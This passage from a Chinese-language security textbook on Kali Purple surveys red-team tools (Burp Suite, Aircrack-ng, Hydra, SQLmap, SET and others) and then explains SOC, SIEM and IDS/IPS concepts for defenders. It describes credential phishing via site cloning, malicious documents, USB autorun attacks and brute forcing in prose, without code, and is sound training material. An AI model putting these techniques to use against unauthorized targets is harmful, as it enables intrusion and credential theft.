在付费的 Pro 版中,有一个扫描模块,可以自动化识别目标 web 应用中的安全漏洞。类似于 Nmap 用于 web 应用的功能,这个扫描器通过向目标发送信息来工作。不同之处在于,Nmap 发送的是通信数据包,而 Burp Suite 发送的是攻击载荷到目标 web 应用,并分析这些载荷的响应,以帮助识别潜在的漏洞。扫描器寻找的漏洞包括 SQL 注入、跨站脚本攻击XSS)和服务器端请求伪造SSRF)。然后,它会突出显示这些潜在的攻击点,以便进一步分析。

曾经想运行一个 web 爬虫或者蜘蛛程序吗?现在你可以了!Burp Suite 的一个模块正是这个功能——蜘蛛。正如你所猜测的,蜘蛛模块将会爬取目标应用,然后尝试映射应用的功能以供进一步调查。蜘蛛的目的是帮助识别那些通过浏览不太容易发现的脆弱区域。

Burp Suite 支持进行被称为暴力破解攻击的攻击,即用户尝试所有可能的用户名和密码组合。正如你所想象的,手动进行这一过程可能会耗费大量时间(真的是永远都做不完!)。Burp Suite 自动化了这个过程,并以令人难以想象的速度代表你进行这些攻击。这一操作是在 Intruder 模块中进行的。在这个模块中,用户可以设置暴力破解攻击所使用的参数。

你还可以将一种称为彩虹列表的文件导入这个模块。当计算机系统创建密码时,计算机会尝试使用一种假设的单向数学公式对密码进行编码。这意味着理论上计算无法被逆转。事实上,任何可以被设计出来的东西也可以被逆向工程。然而,这些数学过程的目的是尽可能让这种逆向过程变得不切实际。这些单向数学过程的结果被称为哈希值

随着时间的推移,黑客和攻防安全人员收集了已知和常用密码的哈希值,并将其与相应的密码一起存储在文件中。这些文件被称为彩虹表或彩虹列表。入侵者模块允许你导入这样的列表,从而尝试应用编码哈希值进行破解。

入侵者模块还可以用于模糊测试,这种测试方法在软件测试工程师和参数操控中非常流行。模糊测试,也叫做模糊处理,涉及向应用程序或系统注入随机或意外的数据。它可以是一种盲目射击瞎猫碰死耗子的方式。它还可以组织成包含随机字符或过大字符输入的预计算数据组。你可以用它来测试 Web 应用如何处理各种输入。这个模块通过允许用户定义自定义列表、有效载荷和其他攻击场景,使这项工作变得简单。入侵者模块的主要目的是帮助操作员通过发现弱密码、注入漏洞,甚至识别过多信息TMI)被泄露的地方,进而获得访问权限。

有时,攻击者通过利用一种称为重放攻击的方法来实现他们的目标。Burp Suite 提供了一个名为 Repeater 的模块,旨在使这类攻击成为可能。像所有 Burp Suite 模块一样,这个模块也允许自定义,并提供了很大的灵活性。它还允许操作员在重放之前修改现有的 Web 应用响应,以帮助确定任何应用的阈值在哪里。

Sequencer 是 Burp Suite 提供的一个模块,用于分析会话令牌的随机性和质量,以及其他本应不可猜测的数据。它评估了加密算法的强度和目标应用中使用的随机性水平。这个模块不一定会提供直接被 Kali Purple 所包含的工具检测到的活动。然而,操作员从 Sequencer 获得的信息可能会导致基于其发现的弱点的攻击,而这些攻击通常可以通过 ELK 堆栈、Suricata、Zeek 和其他工具被检测到。

现代技术如果没有扩展性又算什么呢?Burp Suite 的最终模块是 Extender。它是一个 API,允许用户开发并将自定义插件集成到 Burp Suite 应用程序中。它使 Burp Suite 用户能够根据组织的需求量身定制该工具,以实现自动化。尽管它不会直接与任何 Kali Purple 发行版交互,但 Burp Suite 社区已经创建了一个大型的插件库,用户提交的任何插件都有可能在 Purple 工具集的检测下产生活动。

Burp Suite 的广度不可低估。像本节提到的所有工具一样,它既可以用于造成损害,也可以用于良性目的,通过测试漏洞来抵御攻击。Burp Suite 专注于 Web 应用程序的黑客攻击,你可以放心地去拉斯维加斯并孤注一掷,任何类似活动都将会被 Kali Purple 的防御工具集审查。

Wireshark

Kali Purple 发行版增加了一些用于流量和日志分析的工具,我们将在本书中介绍这些工具。然而,我们不能忽视所有协议分析工具中的“祖宗”——Wireshark。它在 Kali Linux 包中就已包含,甚至在 Purple 版本发布之前就已经有了。Wireshark 是一个开源应用程序,被广泛使用,通常被称为协议分析工具的黄金标准。你会发现它被用于网络故障排除、数据包分析和安全漏洞测试。它通过捕获网络流量数据包供操作员审查和分析。以下是一个 Wireshark 数据包捕获的示例:

图 1.6 – Wireshark 示例数据包捕获

图 1.6 – Wireshark 示例数据包捕获

Wireshark 通过抓取在网络接口上传输的网络数据包来工作。它通常用于捕获和监控符合以太网、TCP/IP、HTTP、DNS、HTTP/S 等协议的流量。通过抓取这些数据包,分析师可以查看头部、有效载荷和其他相关数据,帮助确定是否发生了不希望的活动。

Wireshark 识别并检查正在使用的协议,然后提供非常详细的分析,帮助人类查看并确定各种协议的预期行为和结构。通过检查此工具识别的消息和交互,分析师可以帮助发现异常行为,甚至是简单的安全配置错误。

Wireshark 有时会被恶意行为者用来进行类似于 Nmap 的网络侦察。在这种情况下,操作员可以通过评估数据包中包含的信息来绘制目标网络的图,而不是依赖于设备本身的直接响应——或者没有响应。通过数据包评估,分析人员应该能够识别网络中的主机,检测开放端口,并观察通信中是否有任何异常或不寻常的模式。这将有助于可视化目标网络的实际基础设施。

这种分析方式帮助操作员调查会话中的异常行为。这样,操作员就能看到认证机制并查看是否发生了任何不寻常的活动。总体而言,数据交换或会话管理中的弱点应该是显而易见的。通过这些方法,Wireshark 可以进一步寻找潜在的流量操控区域或通过注入方法、负载修改或网络协议操控等手段进行流量操控的机会,这些手段有时会被恶意行为者用来绕过网络安全措施,例如通过洪泛攻击使保护设备失效打开

与前述工具类似,Wireshark 的活动可以被 Suricata、Zeek 和 ELK 栈等工具检测到,Kali Purple 发行版中也有其他类似工具。由于它在渗透测试者和攻击者中都很受欢迎,我们将在我们的流程中加入它。

Aircrack -ng

Aircrack -ng 是一套通常用于网络安全测试的软件工具。然而,与我们之前提到的其他网络测试工具不同,这套工具专注于无线通信。它最常用于测试 Wi-Fi 加密协议和密码的强度。以下截图展示了一些 Aircrack -ng 的 Wi-Fi 选项:

图 1.7 – Aircrack -ng Wi-Fi 选项

图 1.7 – Aircrack -ng Wi-Fi 选项

Airodump -ng 是该套件中的一个工具,其目的是捕获并分析 Wi-Fi 流量,类似于 Wireshark 的工作方式。它的一个独特之处在于,专注于收集附近 Wi-Fi 网络的信息,任何与之关联的接入点,以及在扫描时连接到它们的设备。它还会查找任何使用的加密协议。

套件中的主要工具,即标题应用程序,具有捕获握手数据包的功能,巧妙地用于在离线时进行密码破解。默认情况下,它将使用基于字典的暴力破解方法来实现这一目标。它还具有设计用于恢复 WEP 和 WPA/WPA2 密钥的功能,如果网络加密较弱的话。它通过统计分析和彩虹表——有时被称为预计算表——来完成这一任务。

Aireplay -ng 是包内的一款应用程序,用于执行被称为去认证攻击(de-authentication attacks)的操作。它向目标设备发送去关联或去认证的数据包,强制它们与 Wi-Fi 网络断开连接。这样做是为了强制进行重新认证过程,以便捕获握手数据包。

使用这组工具时需要特别小心:这些工具非常容易执行你没有明确要求它们执行的操作!由于许多操作具有非法性质,这可能是非常危险的。所以,在使用 Aircrack -ng 时,务必小心谨慎。与我们之前讨论的其他红队工具不同,这组工具的行为更难被检测到,只有在配置了 Kali Purple 防御工具套件以监控此类活动时,才有可能被捕捉到。

John the Ripper

经常被认为是 破解之王(有时也称作 Kracking 之王),John the Ripper 如其名字所示,是一款行业领先的开源密码破解系统。在渗透测试中,它用于测试密码的强度,通过尝试破解加密的密码哈希值。好人 使用它来评估并全面了解其密码系统和策略的安全性。下面是 John the Ripper 破解密码的示例:

图 1.8 – John the Ripper 破解名为“password”的密码

图 1.8 – John the Ripper 破解名为“password”的密码

攻击者尝试获取密码哈希值是常见的做法——尽管在现代社会密码不再常常以 明文 存储,但这种情况仍然会发生。John the Ripper 是一款有助于加速查找和抓取密码哈希值的工具,因为这是该应用程序的一个功能。如前所述,密码哈希是存储在系统上的密码的加密值,用于处理并批准或拒绝访问。

一旦获取到哈希值,用户将会尝试识别哈希类型,以便能将 John the Ripper 引导到正确的解密方式。该应用程序首先会尝试自动识别哈希类型。它支持多种密码哈希类型,如 MD5、SHA1、NTLM 等。如果它无法自行识别哈希类型,可以使用另一个流行的应用程序 CyberChef 来辅助识别。

注意

CyberChef 是 Kali Purple 套件中包含的一个工具,我们将在下一节和 第六章中再次讨论它。它是一个常用来帮助识别包含哈希值的加密类型的工具。如果需要,它也可以在线访问,但如果你在客户相关的警报或事件中远程使用此应用程序,建议小心。数据传输过程中被窃取的任何信息都构成数据泄漏,且受多种不同的监管指令保护。看似简单的操作可能会成为你、你的雇主以及雇主的客户的公关噩梦,甚至可能导致你失去工作。

与其他破解工具一样,John the Ripper 具有内置的支持词库和自定义表格的功能。这些是预生成的潜在密码列表,可能来自多种策略,包括最近泄露的数据库密码、最常用的密码或其他方法。一旦准备好这些词库并识别出哈希值,John the Ripper 将尝试多种不同的破解技术,试图将密码哈希与字典中的代表密码匹配。一旦完成,结果将列出成功破解的密码。

在远程使用时,John the Ripper 活动可以轻松地被 Suricata、ELK 堆栈、Zeek 和 Kali Purple 发行版中的其他工具检测到。

Hydra

另一个知名的开源密码破解工具是 Hydra。与 John the Ripper 专注于基于存储的哈希值破解密码不同,Hydra 更适用于对网络服务进行传统的暴力破解攻击。以下是 Hydra 使用的一个示例:

图 1.9 – 使用 Hydra 恢复 SSH 服务器的本地密码

图 1.9 – 使用 Hydra 恢复 SSH 服务器的本地密码

使用 Hydra 的第一步是识别目标系统或网络服务。这通常可以通过我们之前讨论过的一些工具来完成,例如 Nmap 和 Wireshark。

一旦选择了目标,操作员将识别并指定需要测试的认证方法。使用 Hydra 时,目标可以是 SSH、FTP、HTTP/S、Telnet 或数据库服务,如 MySQL 或 PostgreSQL 等。随着信息提供给应用程序,操作员还将包括目标的 IP 地址或主机名和端口号,以及希望使用的协议方法,如密码列表、字典法等。使用 Hydra 时,操作员可以选择自定义创建密码列表,或使用他人已开发的现成列表。

就像其他破解工具一样,一旦输入所有信息并且正确的列表准备好,只需运行程序,它会自动尝试许多不同的密码破解方法。如果设置了,它还会尝试密码喷洒以及用户枚举,这些都是其他破解工具中不一定提供的功能。Hydra 会提供与其他破解工具一样的结果,以便人类读取、验证和确认。它也容易被 Kali Purple 的一套防御工具检测到。

SQLmap

SQL 代表 结构化查询语言,它是程序员和软件工程师与数据库交互时常用的语言。它是应用程序在数据库中添加、删除和修改信息的方式。所以,正如你可能已经猜到的,SQLmap 是一个开源工具,用于攻击数据库。它尝试检测和利用使用 SQL 数据库的 Web 应用中的 SQL 注入漏洞。它的强大之处在于能够自动化注入攻击。下面是它的启动界面:

图 1.10 – SQLmap 启动界面,显示可用的命令选项

图 1.10 – SQLmap 启动界面,显示可用的命令选项

该应用程序首先扫描 Web 应用程序,以发现潜在的 SQL 注入漏洞。它的工作方式应该现在对你来说很熟悉。它向目标 Web 应用程序发送特制的请求,然后……你猜对了……分析响应。通过这样做,SQLmap 可以确定各种类型的 SQL 注入漏洞,比如基于布尔值的(真假)、基于时间的和/或基于错误的注入。

一旦 SQLmap 发现潜在的 SQL 注入漏洞,它会通过尝试从数据库中提取敏感信息来利用该漏洞。它会尝试检索数据库模式、表格和列,然后如果可能,它会导出整个数据库的内容。通过这些逐步的计算操作,帮助识别已发现漏洞的全部影响及潜在的数据泄露范围。任何一个数据库在一个组织中的成功利用,往往表明同样的操作可以对该组织中的几乎每一个其他数据库进行。

SQLmap 中有一些非常棒的功能。其中之一是它允许用户保存成功的注入攻击状态,以便稍后恢复或与他人共享。这可以被称为一种内建的持久性功能!另一个功能是,像 Metasploit 一样,SQLmap 提供了一种成功后继续进行二次攻击的方式。它有几种内置的技术,可以在仅从数据库中提取信息之后继续攻击。它可以执行任意 SQL 查询、访问底层文件系统(非常强大!),并执行操作系统级别的命令。它甚至可以帮助建立一个反向 shell,用于远程命令执行!

由于 SQLmap 操作的喧闹特性,它无疑会被包括 ELK 堆栈、Suricata、Zeek 以及 Kali Purple 分发版中的其他工具轻易检测到。

Maltego

从破解和漏洞利用的部分转到 Maltego,它是一个非常强大的情报收集和数据可视化工具。顾名思义,它的目的就是收集信息、分析数据,然后将其呈现在图形用户界面(GUI)中,帮助操作员进行可视化。与大多数其他工具一样,它寻找漏洞,并帮助提供攻击链的全面侦察。以下是 Maltego 的界面:

图 1.11 – Maltego 示例

图 1.11 – Maltego 示例

使用 Maltego 的预期方式是识别目标网络、个人或域。我们已经介绍了几种工具来帮助进行这些操作(如果需要的话)。然后,它帮助操作员从各种来源收集信息,比如公共数据库、DNS 记录、社交媒体档案和在线出版物等。它将这些数据进行整合 —— 合并 —— 并生成一个可视化图表,在图表中明确指出不同数据实体之间的关系和连接。

实体可以是 IP 地址、电子邮件地址、姓名或与其指示收集的情报相关的任何独特项目。Maltego 会将这些不同的实体以节点的形式表示,并使用图中的链接或边缘显示它们之间似乎存在的关系。这有助于操作员仔细评估所收集的情报和可视化的元素间连接。这反过来可以帮助操作员拼凑出潜在的攻击路径、漏洞和网络攻击利用阶段的入口点。

Maltego 提供了一种名为自动化数据转换的功能。通过一系列广泛的转换选项 —— 应用程序称之为转换 —— Maltego 自动化了通过从一个已知实体跳转到另一个实体来尝试检索更多信息的过程,这是因为它已经识别出了这些实体之间的关系。转换可以用来查找额外的域名、DNS 记录、IP 地址和社交媒体档案。这些可能与你已收集的信息有关,例如,但在原始实体组之间的关系被发现之前,它们是未知的。它还可以将这些信息与已知漏洞和攻击的存储库进行比较。

这个极其强大的情报收集工具的另一个好处是其包含的协作和报告功能。Maltego 通过允许将可视化的表示和图表放置在共享工作区内,能够促进多个团队成员之间的实时协作。它还可以通过生成详细的报告,帮助处理这些协作内容,报告中记录了发现、时间线、关系和在过程中收集的证据。这将帮助各个成员实时地向彼此提出问题,从而帮助整个过程高效推进。

如你所见,Maltego 是一款极其强大且实用的工具。它也是这份工具清单中最有效的隐蔽操作工具之一。Maltego 的活动不太可能被网络防御系统检测到,因为 Maltego 既能执行任务,又能隐蔽其行为。如果 Maltego 的某些操作被网络防御系统发现,通常几乎没有任何信息表明这些活动是由于某人使用该应用程序所引起的。这并不意味着它不可能被发现;只是极难被检测到。然而,攻击者因 Maltego 活动所采取的行动,如果是恶意的,则很可能会被检测到。

社会工程工具包 (SET)

听起来像是心理学 101 课程里的内容,不是吗?信不信由你,社会工程工具包 (SET) 真的存在;它是一个技术性工具包,包含在 Kali Linux 发行版中。它是一个开源的基于 Python 脚本语言的框架,由一位名叫 David Kennedy 的人创建。它旨在促进和自动化社会工程攻击的技术部分。社会工程是指通过欺骗或心理操控来操纵人们,以获取重要的、甚至敏感的信息或获得本不应有的访问权限。虽然社会工程确实有很强的面对面或实时互动成分,但也有一些技术方面与整体策略相关,而 SET 正是为了简化这些技术方面的内容而存在的。以下是 SET 的界面:

图 1.12 – SET

图 1.12 – SET

SET 允许操作员安排钓鱼攻击活动,让目标被欺骗输入他们的凭证,例如用户名和密码,进入一个虚假的登录页面。SET 通过快速复制网站,将其变成一个视觉上与原站点相同的新站点,帮助实现这个目标。这是攻击者用来欺骗用户输入凭证的主要策略之一。用户点击钓鱼邮件,进入了虚假网站,外观与原网站完全相同。然后,他们尝试登录时出错,而虚假网站加载了原始的真实站点,用户再次尝试并成功登录正确的网站。尽管他们在第一次攻击中泄露了凭证,但由于第二次登录了正确的站点,他们并没有察觉。这就是网站克隆

SET 还可以用来生成看似合法的恶意文档。它可以模拟 Microsoft Word 或 PDF 文件,并在文件中隐藏代码,当有人打开文档时,代码会立即执行。这些代码会利用目标系统中的漏洞,可能会执行如安装键盘记录器等操作,键盘记录器会捕捉受害者输入的每个按键,并提供他们在设备上使用的每个页面和/或应用程序的凭证。代码还可以直接感染系统并抓取系统信息,安装后门或反向 shell,允许攻击者直接访问,并可能横向渗透到网络中的其他系统。这类文件被称为感染性媒介

还记得 Metasploit 及其强大和广泛的功能吗?猜猜看,SET 与 Metasploit 集成,这样当攻击阶段需要时,Metasploit 中可用的漏洞就可以无缝地嵌入到社会工程学攻击中。

SET 还可以创建基于 USB 的攻击。它可以设置一个 USB 驱动器,使其在插入目标系统后自动执行,并运行预配置的攻击脚本和恶意载荷。还记得 Stuxnet 吗?SET 可以创建类似规模的攻击!虽然它可能需要一些特殊的配置才能完全检测,但 Kali Purple 的防御工具确实能够检测来自 USB 驱动器的异常或可疑行为,比如对自动运行/自动执行活动的警报。

正如在几处所指出的,这些工具如果不以伦理方式使用,可能非常危险,并且会将操作人员送进监狱。这意味着必须获得使用这些工具的许可,并事先确定好,最好是书面的,明确使用范围,且绝对不能越过这些边界!虽然这些工具通常与大多数 Linux 发行版兼容,甚至在某些情况下是预装的,但 Kali Purple 所提供的防御工具却不同,这些工具包括了蓝队的内容。你刚刚简要了解的红队工具都可以在 Kali Linux 中找到,Kali Linux 是支持 Kali Purple 的操作系统。现在,你了解了红队部分的基础知识,让我们来看看蓝队部分。

防御性安全

Kali Purple 的独特之处在于它为 Kali Linux 发行版添加了防御工具,供蓝队操作员使用,以便他们可以训练初级分析师或完成其他工作。当然,要完全理解这些工具如何融入组织的安全防护中,了解一些与网络防御相关的术语可能会有所帮助。在这里,我们将介绍一些常用术语,并重点讲解阅读本书时所需了解的网络防御概念。我们将更直接地讨论成为蓝队成员意味着什么,并了解信息安全/CIA 三合一模型、SOC、SOAR、SIEM、IDS/IPS 以及其他相关概念。在此过程中,我们将重点讨论这些概念如何与 Kali Purple 相关。

如果你曾经为技术认证或任何网络安全方面的内容学习过,你很可能接触过信息安全三合一模型,也称为 CIA 三合一模型。三个组成部分——机密性、完整性和可用性——是建立良好安全防护的关键因素。想象一把三条腿的凳子。如果你移除其中一条腿,凳子就会倒下。同样地,如果你从三合一模型中移除一个组成部分,安全防护也会受到影响。信息和资源的机密性、完整性和可用性共同确保了组织系统和数据的适当访问和安全性。

因此,如果三合一模型的一个组成部分损坏,整个基础框架将崩溃:

图 1.13 – CIA 三合一模型

图 1.13 – CIA 三合一模型

让我们按组件来逐一拆解。

机密性

这个三合一模型的元素讲述了如何保护信息不受未经授权的访问、暴露或披露。这是通过采取措施防止没有适当授权的个人访问敏感数据来实现的。一些可以采取的措施包括物理访问控制,如键盘、隔离区或生物识别技术,加密数据或建立安全的通信渠道。

完整性

这个元素的目的是确保数据在其生命周期的任何部分都不会被未经授权的来源篡改。它旨在确保数据保持原样,准确无误。数据内容本身的准确性是授权创建者和数据处理者的责任。它侧重于防止未经授权的修改、损坏或删除数据。通常,通过使用数字签名、哈希、校验和和数字访问控制等技术来实现这一点。

可用性

这个元素的需求是为了在需要时确保组织资源和信息的适当可访问性和可用性。它确保只有授权用户可以访问,访问不会中断,并且访问将包含用户完成任务所需的资源。通常,通过为信息系统增加冗余层(包括物理和/或虚拟的冗余),例如备份数据、建立灾难恢复计划和实施容错机制,来实现这些目标。理想情况下,适当的数据将始终对适当的用户可用。然而,我们生活在一个不完美的世界,有时即使是自然灾害也会对组织的安全状况构成威胁。如果可用性受到干扰,那么三元组的这一元素还包括减轻任何自然中断、服务中断或故障影响的计划。

可用性是网络安全中最常被误解的概念之一。这是因为其他元素的目的是拒绝错误人员的访问和操作,而这个元素的目的是确保允许正确人员的访问!如果最好的安全措施无法让被保护的内容得到利用,那就没有多大意义。这实际上违背了万维网和计算技术的整个目的,不是吗?由于这种抽象,新技术人员和初级分析员有时会在安全性与保持业务运作流畅之间保持适当的平衡时遇到困难。重要的是要意识到,尽管你可以在防火墙上完全阻止所有的.com 域名,但如果你的组织需要互联网来营销或提供产品或服务的支持,这样做也没有多大意义。在你使用 Kali Purple 中的工具时要记住这一点,因为这些工具功能强大,确实在被滥用时可能严重破坏资源的可用性。

现在我们已经掌握了网络安全的核心框架,让我们来看看大多数蓝队人员将使用这个框架的环境。SOC(安全运营中心)是大多数防御性网络安全专业人员工作的环境。实际上,这就是 Kali Purple 的核心所在!有时你会看到 Purple 被称为 SOC-in-a-Box,因为这个工具套件包含了建立一个小型 SOC 所需的所有核心工具和功能。

SOC 是组织内部的一个单位,通常是集中的,负责监控和响应安全事件。它已经发展成为更多地与具体的网络或计算机相关的安全事件相关联。然而,一个真正的 SOC 会涵盖所有的安全情况,包括传统的闭路电视和其他监控系统。在当今的世界中,SOC 也常常用来指代在集中安全环境中工作的团队。这可以是防御性的蓝队和/或进攻性的红队。他们负责增强和维护组织信息系统的安全性。

这些团队通常是经过高度培训和教育的网络安全专业人士。然而,一些商业模式允许通过“火中取栗”式的培训方式培养网络安全专业人员,前提是这些人表现出对该领域的热情或渴望。Kali Purple 是一个极好的工具,帮助组织为这些人提供实践经验!

SOC 的主要目标或期望是实时识别、保护、检测、响应和恢复网络威胁和事件。这五个术语恰好也是国家标准与技术研究院网络安全框架NIST CSF)的五大支柱。与 NIST 对齐意味着你将自己的技能与许多政府机构的要求和运作对接,包括美国国防部以及能源、水利、医疗、交通和金融服务等关键基础设施部门。你还会在许多中小型企业中看到 NIST 合规性。此外,尽管 NIST 是美国商务部下属的一个机构,但你会发现许多跨国和全球运营的组织也遵守其网络安全框架的许多方面。由于 Kali Purple 是专门针对这一框架设计的,它成为了在 SOC 工作或渴望从事网络安全职业的人员的完美操作培训基础。

SOC 的一个主要工具是 SIEM 系统。SIEM 也可以称为标准化或关联系统。它的目的是从组织内部的各种技术来源——端点——收集各种安全事件日志和相关数据。然后,它解释这些数据,将其与其他相关数据进行匹配,这称为数据丰富,并以统一的格式展示。

与 SIEM 相关的是一个被称为安全编排、自动化和响应SOAR)的系统。SOAR 旨在补充 SIEM 系统,因为它提供了自动化事件响应的能力,并帮助以结构化、组织化和协调的方式编排安全操作。

由于数据可以来自任何数量的、不兼容的源,例如 Windows、Mac 或 Linux 设备,原始的原始数据可能以无数种语言和/或呈现方式存在。SIEM 接收所有数据,进行必要的解释,并以一致的方式呈现,极大地简化并提高了分析师的工作效率。

通过处理这种规范化,分析师可以专注于最重要的部分:将数据与已知及新兴威胁进行对比,以及评估可能表明潜在未知和新恶意活动的异常行为。反过来,这使得分析师能够迅速缩小攻击面,沟通推荐的更改,或者在授权的情况下直接进行更改,并高效地为高级安全工程师汇总合规报告。

我们将在下一章通过探讨 Kali Purple 引入 Elastic 来介绍这些系统之一;在本书的其余部分,你将继续扩展你对 SIEM 的知识。需要理解的是,Elastic 本身并不是 SIEM,它只是建立 SIEM 的核心组件之一。我们将添加其他组件,创建一个功能完善的 SIEM。

Wazuh SIEM 是建立在 ELK 堆栈之上的:

图 1.14 – 新安装后的默认 Wazuh SIEM 仪表盘

图 1.14 – 新安装后的默认 Wazuh SIEM 仪表盘

你必须了解关于 SIEM 的以下内容:

  • 日志收集

  • 事件关联

  • 警报和通知

  • 事件响应

  • 合规监控和报告

  • 威胁情报集成

让我们详细看看这些内容。

日志收集

虽然 SIEM 有许多有用的功能,但日志收集通常是网络安全专业人员在构思这类工具时首先想到的目标。最常见的做法是在每个端点安装代理,也就是 SOC 希望 SIEM 监控的个体物理设备或软件应用。这些端点可能包括个人电脑、工作站、服务器,甚至网络设备,如路由器和交换机。它们还可能包括诸如杀毒软件系统或企业对企业B2B)协作工具等个体软件应用。

这些代理的复杂性差异很大,但其要点在于它们监控并收集所安装设备的数据,然后简单地将这些数据报告给 SIEM。某些代理可能会报告大量数据,供 SIEM 或分析师自行解析,而其他代理可能会提供一种预评估的数据,仅报告那些被认为是异常的数据。最安全的做法是将所有数据都传送过来。然后,所谓的网络安全工程师将在 SIEM 中编写代码,处理任何基于组织或客户需求的自动排序、丰富或丢弃信息。代理收集并发送到 SIEM 的信息被称为日志。每个日志都包含非常有价值的信息,可能包括用户活动、系统事件——即机器或软件指令本身的操作——以及任何明显的安全事件。

事件关联

一旦 SIEM 从代理收集了日志,它必须对这些信息进行处理,对吧?这里有许多选项,但最常见的做法是对数据进行分析,并将其与先前收集的或静态输入的数据进行结合。当数据原本被收集时,它被认为是原始数据。与额外的相关信息(通常称为查找表的附加数据表)结合后,就称为数据丰富化。举个例子,当 SIEM 收集到一个 IP 地址作为日志的一部分时,它会有一个独立的表格,解释某些 IP 地址或地址范围的位置,从日志中提取 IP 地址,将其与预先存在的查找表匹配,然后告诉分析师日志中的活动发生在哪个地理位置。丰富数据就像是在拼图中添加额外的碎片。它提供了更清晰的视图,帮助理解发生或曾经发生的事件。SIEM 平台随后可以分析丰富后的数据,查找复杂的模式和异常行为。反过来,这使得 SIEM 能够识别、标记并报告潜在的网络攻击。如果没有足够的信息或数据,单个原始数据可能无法识别这种行为。

丰富并分析新丰富的数据被称为事件关联,这一过程显著提高了检测恶意行为的几率。事件关联是指 SIEM 将不同的日志(这些日志服务于不同的目的,但有共同的特征)整合在一起,帮助分析师查看是否有其他信息可以支持他们的调查。例如,一个包含身份验证失败的日志(即某人未能登录)与一个包含端口扫描活动的日志相结合,后者发生在或接近身份验证日志的时间点。

这与数据聚合不同。数据聚合是指 SIEM 将多个包含相同信息的日志,如所有包含特定 IP 地址的日志,汇总到一个报告中。某些 SIEM 解决方案(Devo)将为分析人员提供创建并执行数据聚合操作的机会,然后将结果输出为所选文件格式,如 CSV 电子表格。

警报与通知

你能相信即使在数据增强、关联和复杂分析之后,恶意行为有时仍然可能被忽视吗?没错,确实可以!这就是为什么在 SOC(安全运营中心)的多层安全防护中,我们需要加入人类因素。为了利用这一人类因素,SIEM(安全信息与事件管理系统)会将其已关联的数据与由网络安全工程师设定和/或管理的标准进行比对。如果数据符合这些标准或规则,SIEM 就会将这些数据生成一种被称为警报的报告,供人工分析使用;或者如果已经存在相关警报,它会将该事件添加到该警报中。这些警报是供人工分析的,通常由一级网络安全分析师或安全分诊专家处理。SIEM 以统一的格式和语言编写这些警报,使得分析人员只需要学习一种日志分析风格即可。接着,它通常会将新生成或更新的警报放入某种形式的队列中,供网络安全分析师持续监控。

事件响应

当一级安全分诊分析师审查警报并判断事件已发生或即将发生时,他们通常会将该警报升级给二级网络安全分析师,通常由事件响应专家处理。在一些组织中,这可能是三级分析师,但主流的网络安全公司通常将三级保留给威胁狩猎专家。一个设置良好的 SIEM 也会为事件响应人员提供有用的信息。这些信息通常以工作流程、行动手册、案例或客户管理功能的形式提供。这不仅为分析人员提供了一个极好的参考点,也有助于培训新聘用或晋升的分析师。SIEM 可用于多种商业模式,其中一些可能包括为没有现场网络安全团队的其他企业提供安全服务。在这种情况下,可能会有数百甚至数千个特定于组织的行动手册,任何单个事件响应人员都不可能记住这些内容。

合规性监控与报告

随着网络安全需求的增长,监管也在增加,如法律和政府法规,或者行业标准的制定,如我们之前讨论过的 PCI-DSS。其中一个非常普遍的领域是记录保存和报告。关于如何记录和报告网络安全活动,出现了许多新的规则。一个设计良好的 SIEM 会提供安全事件的可视化,并具备帮助生成符合合规要求报告的功能。即使没有现成的法律或法规,也应该保持对行业标准的合规记录,因为这表明组织经过了充分的研究、组织有序、准备充分、关心并决心处于其产品或服务的前沿。拥有由 SIEM 生成的报告是展示这些原则已落实的方式。

威胁情报集成

最先进和最新的 SIEM 技术将能够与外部数据源集成,如威胁情报源。举例来说,包括 AT&T 的 AlienVault 开放威胁交换平台OTX)、结构化威胁信息表达STIX)和 受信任的自动化指标信息交换TAXII)。还有一些数据库和其他非实时的情报来源,可能对 SIEM 的访问非常有用。这可以帮助数据的丰富化和关联过程。当外部集成涉及到访问正在发展的或最新的威胁情报时,SIEM 将能够更容易地识别已知的恶意行为者以及新兴的威胁行为者、恶意 IP 地址或域名,以及其他妥协指标。

除了威胁情报源外,还有 Any.RunCuckoo 自动沙盒分析工具,技术上它们不是 Kali Purple 的一部分,但你可以将它们与 Purple 的工具集成,以获得更强大的 SOC 体验。以下是 Any.Run 的界面:

图 1.15 – Any.Run 恶意软件分析主页

图 1.15 – Any.Run 恶意软件分析主页

虽然 Kali Purple 提供了许多防御安全工具,但 SIEM 似乎最初吸引了大多数人来到这个平台,因为现在用户有了一个单一的系统,在这个系统中,进攻性安全(Kali Linux)和防御性安全可以主动监控和管理真实的安全事件,检测真实的威胁,并开始事件响应的过程——而且他们可以免费获取这一服务。

有时候,你会发现一个 SIEM 系统与 IDS 或 IPS 结合使用。为了有效地导航整个网络安全防御过程,我们在这里不做这种组合。我们已经谈过 Elastic Stack,并且通过添加一些代理等组件,它可以转换成一个完全功能的 SIEM——实际上我们将要这样做。现在,让我们来看一下 Kali Purple 包中的几个 IDS。稍后,我们将从 进攻性安全 部分借用一些概念,并将其应用于 Suricata 和/或 Zeek,以提供一个关于网络防御的实战案例。让我们来讨论 Suricata。

Suricata

Suricata 是一个开源产品,既可以作为 IDS(入侵检测系统)也可以作为 IPS(入侵防御系统)使用。它们之间有什么区别?很高兴你问了。区别就在于它们的定义本身。IDS 只做一件事——检测异常或潜在的恶意行为。它只负责这一点,不会对这种行为采取任何行动。它只是检测到后通知你。之所以这样做有其原因,我们稍后会讨论。IPS 同样会检测异常或潜在的恶意行为,但它会额外采取主动阻止或对该行为采取其他行动的步骤。

你可能会问:“为什么我们不希望系统直接阻止这些行为,而是让我们自己去处理额外的工作?”答案很简单,并不是所有看起来异常或恶意的行为都是恶意的!这些类型的警报被称为误报,在网络安全领域中非常常见。它们如此常见,以至于有一个专门的术语来描述处理这些警报的疲劳感——警报疲劳。一个正确设置的 IPS 会减少警报疲劳。然而,它也可能会阻止或屏蔽一些真实的、无害的活动,这同样是不好的一件事。记得 CIA 三元组吗?记得我们讨论过 A 是最容易被误解的部分吗?阻止本应有效的活动可能会对组织的运营造成的损害,甚至比未能阻止恶意活动更大。在某些组织中,这是一个非问题,错误地阻止无害活动几乎不会对它们造成任何影响。因此,IDS 和 IPS 技术同时存在,你需要根据自己的情况选择合适的技术。Suricata 提供了这两种技术。

